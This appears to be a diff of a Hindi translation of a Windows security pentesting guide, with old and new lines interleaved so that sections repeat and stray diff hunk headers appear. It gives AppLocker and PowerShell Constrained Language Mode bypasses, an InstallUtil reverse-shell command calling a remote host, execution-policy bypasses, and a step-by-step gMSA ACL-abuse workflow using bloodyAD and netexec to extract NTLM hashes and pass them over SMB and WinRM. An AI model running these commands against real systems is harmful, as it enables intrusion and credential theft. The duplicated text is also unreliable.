- AppLocker नीति को बायपास करने के लिए उपयोगी **लिखने योग्य फ़ोल्डर**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर कुछ भी निष्पादित करने की अनुमति दे रहा है, तो ऐसे **लिखने योग्य फ़ोल्डर** हैं जिनका आप **बायपास करने के लिए उपयोग कर सकते हैं**
- AppLocker Policy को bypass करने के लिए उपयोगी **Writable folders**: यदि AppLocker `C:\Windows\System32` या `C:\Windows` के अंदर किसी भी चीज़ को execute करने की अनुमति दे रहा है, तो ऐसे **writable folders** हैं जिन्हें आप इसका **bypass** करने के लिए उपयोग कर सकते हैं।
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- सामान्यतः **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरीज़ AppLocker को बायपास करने के लिए उपयोगी हो सकती हैं।
- आमतौर पर **विश्वसनीय** [**"LOLBAS's"**](https://lolbas-project.github.io/) बाइनरी AppLocker को बायपास करने में भी उपयोगी हो सकती हैं।
- **खराब लिखे गए नियमों को भी बायपास किया जा सकता है**
- उदाहरण के लिए, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, आप कहीं भी एक **फोल्डर `allowed`** नाम से बना सकते हैं और इसे अनुमति दी जाएगी।
- संगठन अक्सर **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** निष्पादन योग्य को **ब्लॉक करने** पर ध्यान केंद्रित करते हैं, लेकिन **अन्य** [**PowerShell निष्पादन योग्य स्थानों**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) को भूल जाते हैं जैसे कि `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe`
- **DLL प्रवर्तन बहुत कम सक्षम** होता है क्योंकि यह सिस्टम पर अतिरिक्त लोड डाल सकता है, और यह सुनिश्चित करने के लिए आवश्यक परीक्षण की मात्रा। इसलिए **DLLs को बैकडोर के रूप में उपयोग करना AppLocker को बायपास करने में मदद करेगा**
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- उदाहरण के लिए, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, आप कहीं भी **`allowed` नामक फ़ोल्डर** बना सकते हैं और उसे अनुमति मिल जाएगी।
- संगठन अक्सर **blocking the `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable** पर ध्यान केंद्रित करते हैं, लेकिन **other** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) जैसे `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` या `PowerShell_ISE.exe` के बारे में भूल जाते हैं
- अतिरिक्त लोड और व्यापक परीक्षण की आवश्यकता के कारण **DLL enforcement very rarely enabled** होती है, इसलिए **DLLs as backdoors** AppLocker को बायपास करने में मदद करते हैं
- आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके किसी भी प्रक्रिया में **execute Powershell** कोड चला सकते हैं और AppLocker को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## क्रेडेंशियल्स स्टोरेज
### सुरक्षा खाता प्रबंधक (SAM)
### Security Accounts Manager (SAM)
स्थानीय क्रेडेंशियल्स इस फ़ाइल में मौजूद हैं, पासवर्ड हैश किए गए हैं।
स्थानीय क्रेडेंशियल्स इस फ़ाइल में मौजूद होते हैं; पासवर्ड हैश किए गए होते हैं।
### स्थानीय सुरक्षा प्राधिकरण (LSA) - LSASS
### Local Security Authority (LSA) - LSASS
**क्रेडेंशियल्स** (हैश किए गए) इस उपप्रणाली की **मेमोरी** में **सहेजे** जाते हैं ताकि सिंगल साइन-ऑन कारणों के लिए।\
**LSA** स्थानीय **सुरक्षा नीति** (पासवर्ड नीति, उपयोगकर्ता अनुमतियाँ...), **प्रमाणीकरण**, **एक्सेस टोकन**... का प्रबंधन करता है।\
LSA वह होगा जो **SAM** फ़ाइल के अंदर प्रदान किए गए क्रेडेंशियल्स की **जांच** करेगा (स्थानीय लॉगिन के लिए) और एक डोमेन उपयोगकर्ता को प्रमाणित करने के लिए **डोमेन नियंत्रक** से **बात** करेगा।
Single Sign-On कारणों से **क्रेडेंशियल्स** (hashed) इस सबसिस्टम की **मेमोरी** में **सहेजे** जाते हैं।\
LSA स्थानीय **security policy** (password policy, users permissions...), **authentication**, **access tokens** आदि का प्रबंधन करती है।\
LSA वही घटक होगा जो लोकल लॉगिन के लिए दिए गए क्रेडेंशियल्स को **SAM** फ़ाइल के अंदर **चेक** करेगा और डोमेन उपयोगकर्ता को प्रमाणीकृत करने के लिए **domain controller** से **बात** करेगा।
**क्रेडेंशियल्स** **प्रक्रिया LSASS** के अंदर **सहेजे** जाते हैं: Kerberos टिकट, NT और LM हैश, आसानी से डिक्रिप्ट किए गए पासवर्ड।
**क्रेडेंशियल्स** प्रक्रिया **LSASS** के अंदर सहेजे जाते हैं: Kerberos tickets, NT और LM hashes, आसानी से डिक्रिप्ट किए जा सकने वाले पासवर्ड।
### LSA रहस्य
### LSA secrets
LSA कुछ क्रेडेंशियल्स को डिस्क में सहेज सकता है:
LSA डिस्क पर कुछ क्रेडेंशियल्स सहेज सकता है:
- सक्रिय निर्देशिका के कंप्यूटर खाते का पासवर्ड (अप्राप्य डोमेन नियंत्रक)।
- Windows सेवाओं के खातों के पासवर्ड
- अनुसूचित कार्यों के लिए पासवर्ड
- अधिक (IIS अनुप्रयोगों का पासवर्ड...)
- Active Directory के कंप्यूटर अकाउंट का पासवर्ड (unreachable domain controller).
- Windows services के खातों के पासवर्ड
- scheduled tasks के लिए पासवर्ड
- और अधिक (IIS applications का पासवर्ड...)
### NTDS.dit
यह सक्रिय निर्देशिका का डेटाबेस है। यह केवल डोमेन नियंत्रकों में मौजूद है।
यह Active Directory का डेटाबेस है। यह केवल Domain Controllers में मौजूद होता है।
## डिफेंडर
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक एंटीवायरस है जो Windows 10 और Windows 11 में उपलब्ध है, और Windows Server के संस्करणों में। यह सामान्य पेंटेस्टिंग उपकरणों जैसे **`WinPEAS`** को **ब्लॉक** करता है। हालाँकि, इन सुरक्षा उपायों को **बायपास करने** के तरीके हैं।
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) एक Antivirus है जो Windows 10 और Windows 11 में तथा Windows Server के संस्करणों में उपलब्ध है। यह सामान्य pentesting टूल्स जैसे **`WinPEAS`** को **ब्लॉक** कर सकता है। हालाँकि, इन सुरक्षा उपायों को **बायपास** करने के तरीके मौजूद हैं।
### जांचें
### जाँच
**Defender** की **स्थिति** की जांच करने के लिए आप PS cmdlet **`Get-MpComputerStatus`** निष्पादित कर सकते हैं (यह जानने के लिए **`RealTimeProtectionEnabled`** का मान जांचें कि यह सक्रिय है):
Defender की **स्थिति** जांचने के लिए आप PS cmdlet **`Get-MpComputerStatus`** चला सकते हैं (सक्रिय है या नहीं जानने के लिए **`RealTimeProtectionEnabled`** का मान देखें):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -103,34 +103,34 @@ sc query windefend
```
## Encrypted File System (EFS)
EFS फाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, एक **समानांतर कुंजी** का उपयोग करते हुए जिसे **फाइल एन्क्रिप्शन कुंजी (FEK)** कहा जाता है। यह कुंजी उपयोगकर्ता की **सार्वजनिक कुंजी** के साथ एन्क्रिप्ट की जाती है और एन्क्रिप्टेड फ़ाइल के $EFS **वैकल्पिक डेटा स्ट्रीम** में संग्रहीत की जाती है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल प्रमाणपत्र की संबंधित **निजी कुंजी** का उपयोग FEK को $EFS स्ट्रीम से डिक्रिप्ट करने के लिए किया जाता है। अधिक विवरण [यहां](https://en.wikipedia.org/wiki/Encrypting_File_System) पाया जा सकता है।
EFS फाइलों को एन्क्रिप्शन के माध्यम से सुरक्षित करता है, और इसके लिए एक **symmetric key** जिसका नाम **File Encryption Key (FEK)** है का उपयोग करता है। यह key उपयोगकर्ता की **public key** से एन्क्रिप्ट होकर एन्क्रिप्टेड फ़ाइल के $EFS **alternative data stream** में स्टोर होता है। जब डिक्रिप्शन की आवश्यकता होती है, तो उपयोगकर्ता के डिजिटल सर्टिफिकेट की संबंधित **private key** का उपयोग $EFS stream से FEK को डिक्रिप्ट करने के लिए किया जाता है। More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
**उपयोगकर्ता की पहल के बिना डिक्रिप्शन परिदृश्य** में शामिल हैं:
**Decryption scenarios without user initiation** में निम्न शामिल हैं:
- जब फ़ाइलें या फ़ोल्डर को गैर-EFS फ़ाइल सिस्टम में स्थानांतरित किया जाता है, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), तो वे स्वचालित रूप से डिक्रिप्ट हो जाते हैं।
- SMB/CIFS प्रोटोकॉल के माध्यम से नेटवर्क पर भेजी गई एन्क्रिप्टेड फ़ाइलें प्रसारण से पहले डिक्रिप्ट की जाती हैं।
- जब फाइलें या फ़ोल्डर किसी non-EFS file system, जैसे [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), पर मूव किए जाते हैं तो वे स्वतः डिक्रिप्ट हो जाते हैं।
- SMB/CIFS प्रोटोकॉल के ज़रिये नेटवर्क पर भेजी जाने वाली एन्क्रिप्टेड फाइलें ट्रांसमिशन से पहले डिक्रिप्ट कर दी जाती हैं।
यह एन्क्रिप्शन विधि मालिक के लिए एन्क्रिप्टेड फ़ाइलों तक **पारदर्शी पहुंच** की अनुमति देती है। हालाँकि, केवल मालिक का पासवर्ड बदलने और लॉग इन करने से डिक्रिप्शन की अनुमति नहीं मिलेगी
यह एन्क्रिप्शन तरीका मालिक को एन्क्रिप्टेड फाइलों तक **transparent access** प्रदान करता है। हालांकि, केवल मालिक का पासवर्ड बदलकर और लॉगिन करके डिक्रिप्शन संभव नहीं होगा
**मुख्य निष्कर्ष**:
**Key Takeaways**:
- EFS एक समानांतर FEK का उपयोग करता है, जो उपयोगकर्ता की सार्वजनिक कुंजी के साथ एन्क्रिप्ट किया गया है।
- डिक्रिप्शन के लिए उपयोगकर्ता की निजी कुंजी का उपयोग किया जाता है ताकि FEK तक पहुंच प्राप्त की जा सके
- स्वचालित डिक्रिप्शन विशिष्ट परिस्थितियों के तहत होता है, जैसे FAT32 में कॉपी करना या नेटवर्क ट्रांसमिशन।
- एन्क्रिप्टेड फाइलें मालिक के लिए बिना अतिरिक्त कदमों के सुलभ होती हैं।
- EFS एक symmetric FEK का उपयोग करता है, जिसे उपयोगकर्ता की public key से एन्क्रिप्ट किया जाता है।
- डिक्रिप्शन के लिए उपयोगकर्ता की private key का उपयोग FEK तक पहुँचने के लिए किया जाता है
- कुछ परिस्थितियों में ऑटोमैटिक डिक्रिप्शन हो सकता है, जैसे FAT32 पर कॉपी करना या नेटवर्क ट्रांसमिशन।
- एन्क्रिप्टेड फाइलें मालिक के लिए बिना अतिरिक्त कदम के एक्सेसेबल रहती हैं।
### Check EFS info
जांचें कि क्या एक **उपयोगकर्ता** ने इस **सेवा** का उपयोग किया है यह जांचकर कि क्या यह पथ मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
जांचें कि किसी **user** ने इस **service** का उपयोग किया है या नहीं, यह देखने के लिए चेक करें कि यह path मौजूद है:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
जांचें **किसने** फ़ाइल तक **पहुँच** प्राप्त की है `cipher /c \<file>\`\
आप एक फ़ोल्डर के अंदर `cipher /e` और `cipher /d`ा उपयोग करके सभी फ़ाइलों को **एन्क्रिप्ट** और **डिक्रिप्ट** भी कर सकते हैं।
यह देखना कि फ़ाइल तक **कौन** की **access** है, `cipher /c \<file\>` का उपयोग करें\
आप `cipher /e` और `cipher /d`ो किसी फ़ोल्डर के अंदर उपयोग करके सभी फाइलों को **encrypt** और **decrypt** भी कर सकते हैं
### Decrypting EFS files
#### Being Authority System
यह तरीका **पीड़ित उपयोगकर्ता** को होस्ट के अंदर एक **प्रक्रिया** चलाने की आवश्यकता है। यदि ऐसा है, तो `meterpreter` सत्रों का उपयोग करते हुए आप उपयोगकर्ता की प्रक्रिया के टोकन का अनुकरण कर सकते हैं (`impersonate_token` from `incognito`)। या आप बस उपयोगकर्ता की प्रक्रिया में `migrate` कर सकते हैं।
इस तरीके के लिए आवश्यक है कि **victim user** होस्ट के अंदर कोई **process** **running** कर रहा हो। अगर ऐसा है, तो `meterpreter` sessions का उपयोग करके आप उस यूज़र के प्रोसेस के टोकन को impersonate कर सकते हैं (`impersonate_token` from `incognito`)। या आप सीधे उस यूज़र के process में `migrate` भी कर सकते हैं।
#### Knowing the users password
@ -141,29 +141,64 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
## Group Managed Service Accounts (gMSA)
Microsoft ने IT बुनियादी ढांचों में सेवा खातों के प्रबंधन को सरल बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किया। पारंपरिक सेवा खातों के विपरीत, जिनमें अक्सर "**पासवर्ड कभी समाप्त नहीं होता**" सेटिंग सक्षम होती है, gMSAs एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
Microsoft ने IT इंफ्रास्ट्रक्चर में service accounts के प्रबंधन को आसान बनाने के लिए **Group Managed Service Accounts (gMSA)** विकसित किए। पारंपरिक service accounts के विपरीत जिनमें अक्सर "**Password never expire**" सेटिंग सक्षम होती है, gMSA एक अधिक सुरक्षित और प्रबंधनीय समाधान प्रदान करते हैं:
- **स्वचालित पासवर्ड प्रबंधन**: gMSAs एक जटिल, 240-चरित्र पासवर्ड का उपयोग करते हैं जो डोमेन या कंप्यूटर नीति के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft की की वितरण सेवा (KDC) द्वारा संभाली जाती है, जिससे मैनुअल पासवर्ड अपडेट की आवश्यकता समाप्त हो जाती है।
- **सुरक्षा में वृद्धि**: ये खाते लॉकआउट के प्रति प्रतिरक्षित होते हैं और इंटरैक्टिव लॉगिन के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है।
- **कई होस्ट समर्थन**: gMSAs को कई होस्टों के बीच साझा किया जा सकता है, जिससे वे कई सर्वरों पर चलने वाली सेवाओं के लिए आदर्श बन जाते हैं।
- **निर्धारित कार्य क्षमता**: प्रबंधित सेवा खातों के विपरीत, gMSAs निर्धारित कार्यों को चलाने का समर्थन करते हैं।
- **सरल SPN प्रबंधन**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होते हैं, तो सिस्टम स्वचालित रूप से सेवा प्रिंसिपल नाम (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
- **Automatic Password Management**: gMSA एक जटिल, 240-character password का उपयोग करते हैं जो domain या computer policy के अनुसार स्वचालित रूप से बदलता है। यह प्रक्रिया Microsoft's Key Distribution Service (KDC) द्वारा संभाली जाती है, जिससे मैन्युअल पासवर्ड अपडेट की आवश्यकता खत्म हो जाती है।
- **Enhanced Security**: ये खाते lockouts के प्रति इम्यून होते हैं और interactive logins के लिए उपयोग नहीं किए जा सकते, जिससे उनकी सुरक्षा बढ़ती है।
- **Multiple Host Support**: gMSA कई होस्टों के बीच साझा किए जा सकते हैं, जिससे ये उन सेवाओं के लिए आदर्श हैं जो कई सर्वरों पर चलती हैं।
- **Scheduled Task Capability**: managed service accounts के विपरीत, gMSA scheduled tasks चलाने का समर्थन करते हैं।
- **Simplified SPN Management**: जब कंप्यूटर के sAMaccount विवरण या DNS नाम में परिवर्तन होता है तो सिस्टम स्वचालित रूप से Service Principal Name (SPN) को अपडेट करता है, जिससे SPN प्रबंधन सरल हो जाता है।
gMSAs के लिए पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में संग्रहीत होते हैं और डोमेन नियंत्रकों (DCs) द्वारा हर 30 दिन में स्वचालित रूप से रीसेट किए जाते हैं। यह पासवर्ड, जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) के रूप में जाना जाता है, केवल अधिकृत प्रशासकों और उन सर्वरों द्वारा पुनः प्राप्त किया जा सकता है जिन पर gMSAs स्थापित हैं, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए, एक सुरक्षित कनेक्शन जैसे LDAPS की आवश्यकता होती है, या कनेक्शन को 'Sealing & Secure' के साथ प्रमाणित किया जाना चाहिए।
gMSA के पासवर्ड LDAP प्रॉपर्टी _**msDS-ManagedPassword**_ में स्टोर होते हैं और इन्हें Domain Controllers (DCs) द्वारा हर 30 दिनों में ऑटोमैटिक रीसेट किया जाता है। यह पासवर्ड, एक एन्क्रिप्टेड डेटा ब्लॉब जिसे [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) कहा जाता है, केवल अधिकृत administrators और जिन सर्वरों पर gMSA इंस्टॉल हैं उन सर्वरों द्वारा ही प्राप्त किया जा सकता है, जिससे एक सुरक्षित वातावरण सुनिश्चित होता है। इस जानकारी तक पहुँचने के लिए एक सुरक्षित कनेक्शन जैसे LDAPS आवश्यक है, या कनेक्शन को 'Sealing & Secure' के साथ authenticated होना चाहिए।
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
आप इस पासवर्ड को [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** पढ़ सकते हैं।
You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**इस पोस्ट में अधिक जानकारी प्राप्त करें**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
### ACL chaining का दुरुपयोग कर के gMSA managed password पढ़ना (GenericAll -> ReadGMSAPassword)
कई वातावरणों में, कम-privileged उपयोगकर्ता misconfigured object ACLs का दुरुपयोग करके बिना DC compromise किये gMSA secrets तक पहुँच (pivot) कर सकते हैं:
- ऐसी group जिसे आप नियंत्रित कर सकते हैं (उदा., GenericAll/GenericWrite के माध्यम से) को gMSA पर `ReadGMSAPassword` दिया गया होता है।
- उस group में खुद को जोड़कर, आप LDAP के माध्यम से gMSA के `msDS-ManagedPassword` blob को पढ़ने का अधिकार प्राप्त कर लेते हैं और उपयोगी NTLM credentials निकाल सकते हैं।
सामान्य workflow:
1) BloodHound से path खोजें और अपने foothold principals को Owned के रूप में मार्क करें। ऐसे edges देखें:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) उस intermediate group में खुद को जोड़ें जिसे आप नियंत्रित करते हैं (उदाहरण bloodyAD के साथ):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) LDAP के माध्यम से gMSA managed password पढ़ें और NTLM hash निकालें। NetExec `msDS-ManagedPassword` के extraction और NTLM में conversion को automate करता है:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) gMSA के रूप में NTLM hash का उपयोग करके Authenticate करें (किसी plaintext की आवश्यकता नहीं है)। यदि खाता Remote Management Users में है, तो WinRM सीधे काम करेगा:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
नोट:
- `msDS-ManagedPassword` के LDAP पढ़ने के लिए sealing की आवश्यकता होती है (उदा., LDAPS/sign+seal)। Tools इसे स्वचालित रूप से संभालते हैं।
- gMSAs को अक्सर WinRM जैसे स्थानीय अधिकार दिए जाते हैं; lateral movement की योजना बनाने के लिए group membership (उदा., Remote Management Users) की पुष्टि करें।
- यदि आपको केवल blob की आवश्यकता है ताकि आप स्वयं NTLM निकाल सकें, तो MSDS-MANAGEDPASSWORD_BLOB structure देखें।
इसके अलावा, **gMSA** के **पासवर्ड** को **पढ़ने** के लिए **NTLM रिले हमले** को कैसे करना है, इस बारे में इस [वेब पृष्ठ](https://cube0x0.github.io/Relaying-for-gMSA/) की जांच करें।
## LAPS
**लोकल एडमिनिस्ट्रेटर पासवर्ड सॉल्यूशन (LAPS)**, जिसे [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) से डाउनलोड किया जा सकता है, स्थानीय एडमिनिस्ट्रेटर पासवर्ड का प्रबंधन करने की अनुमति देता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, सक्रिय निर्देशिका में केंद्रीय रूप से संग्रहीत होते हैं। इन पासवर्डों तक पहुंच को अधिकृत उपयोगकर्ताओं के लिए ACLs के माध्यम से सीमित किया गया है। पर्याप्त अनुमतियों के साथ, स्थानीय एडमिन पासवर्ड पढ़ने की क्षमता प्रदान की जाती है।
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), स्थानीय Administrator पासवर्ड के प्रबंधन को सक्षम करता है। ये पासवर्ड, जो **यादृच्छिक**, अद्वितीय, और **नियमित रूप से बदले जाते हैं**, Active Directory में केंद्रीकृत रूप से संग्रहित होते हैं। इन पासवर्ड्स तक पहुँच ACLs के माध्यम से अधिकृत उपयोगकर्ताओं तक सीमित है। पर्याप्त अनुमतियाँ मिलने पर, स्थानीय admin पासवर्ड पढ़ने की क्षमता प्राप्त हो सकती है।
{{#ref}}
../active-directory-methodology/laps.md
@ -171,34 +206,34 @@ gMSAs के लिए पासवर्ड LDAP प्रॉपर्टी _*
## PS Constrained Language Mode
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell का प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को लॉक कर देता है**, जैसे COM ऑब्जेक्ट्स को ब्लॉक करना, केवल अनुमोदित .NET प्रकारों, XAML-आधारित वर्कफ़्लो, PowerShell कक्षाओं, और अधिक की अनुमति देना
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) PowerShell को प्रभावी ढंग से उपयोग करने के लिए आवश्यक कई सुविधाओं को **प्रतिबंधित कर देता है**, जैसे कि COM objects को ब्लॉक करना, केवल अनुमोदित .NET types को अनुमति देना, XAML-based workflows, PowerShell classes, और अधिक
### **जाचें**
### **जाचें**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### बायपास
### Bypass
```bash
#Easy bypass
Powershell -version 2
```
वर्तमान Windows में वह Bypass काम नहीं करेगा लेकिन आप उपयोग कर सकते हैं [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)\
**इसे संकलित करने के लिए आपको** **ज़रूरत हो सकती है** **_एक संदर्भ जोड़ने के लिए_** -> _ब्राउज़_ -> _ब्राउज़_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` जोड़ें और **परियोजना को .Net4.5 में बदलें**
वर्तमान Windows में वह Bypass काम नहीं करेगा लेकिन आप[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**इसे कम्पाइल करने के लिए आपको आवश्यकता पड़ सकती है** **कि** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> जोड़ें `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` और **परियोजना को .Net4.5 में बदलें**
#### सीधे बायपास:
#### प्रत्यक्ष bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
#### रिवर्स शेल:
#### Reverse shell:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग करके **Powershell** कोड को किसी भी प्रक्रिया में निष्पादित कर सकते हैं और सीमित मोड को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
आप [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) या [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) का उपयोग किसी भी प्रक्रिया में **Powershell कोड निष्पादित करने के लिए** कर सकते हैं और constrained mode को बायपास कर सकते हैं। अधिक जानकारी के लिए देखें: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## PS निष्पादन नीति
डिफ़ॉल्ट रूप से इसे **restricted** पर सेट किया गया है। इस नीति को बायपास करने के मुख्य तरीके:
डिफ़ॉल्ट रूप से यह **restricted.** पर सेट होता है। इस नीति को बायपास करने के मुख्य तरीके:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -222,31 +257,38 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
## Security Support Provider Interface (SSPI)
यह API है जिसका उपयोग उपयोगकर्ताओं को प्रमाणित करने के लिए किया जा सकता है।
यह API है जिस उपयोगकर्ताओं को प्रमाणित करने के लिए उपयोग किया जा सकता है।
SSPI उन दो मशीनों के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होगा जो संवाद करना चाहती हैं। इसके लिए पसंदीदा विधि Kerberos है। फिर SSPI यह बातचीत करेगा कि कौन सा प्रमाणीकरण प्रोटोकॉल उपयोग किया जाएगा, इन प्रमाणीकरण प्रोटोकॉल को Security Support Provider (SSP) कहा जाता है, जो प्रत्येक Windows मशीन के अंदर DLL के रूप में स्थित होते हैं और दोनों मशीनों को संवाद करने के लिए समान का समर्थन करना चाहिए
SSPI दो मशीनों के बीच संचार के लिए उपयुक्त प्रोटोकॉल खोजने के लिए जिम्मेदार होता है। इसकी पसंदीदा विधि Kerberos है। फिर SSPI यह नेगोशिएट करेगा कि कौन सा प्रमाणन प्रोटोकॉल उपयोग किया जाएगा; इन प्रमाणन प्रोटोकॉल्स को Security Support Provider (SSP) कहा जाता है, ये हर Windows मशीन में DLL के रूप में मौजूद होते हैं और दोनों मशीनों के एक ही SSP का समर्थन करने पर ही वे संवाद कर सकते हैं
### Main SSPs
- **Kerberos**: पसंदीदा
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** और **NTLMv2**: संगतता कारणों से
- **NTLMv1** and **NTLMv2**: संगतता कारणों से
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: वेब सर्वर और LDAP, MD5 हैश के रूप में पासवर्ड
- **Digest**: Web servers और LDAP के लिए, पासवर्ड MD5 hash के रूप में
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL और TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: इसका उपयोग प्रोटोकॉल को बातचीत करने के लिए किया जाता है (Kerberos या NTLM, जिसमें Kerberos डिफ़ॉल्ट है)
- **Negotiate**: इसका उपयोग उपयोग होने वाले प्रोटोकॉल (Kerberos या NTLM — जहाँ Kerberos डिफ़ॉल्ट है) को नेगोशिएट करने के लिए किया जाता है।
- %windir%\Windows\System32\lsasrv.dll
#### The negotiation could offer several methods or only one.
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उन्नत गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है।
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक फीचर है जो उच्च-प्राधिकार वाली गतिविधियों के लिए **सहमति प्रॉम्प्ट** सक्षम करता है।
{{#ref}}
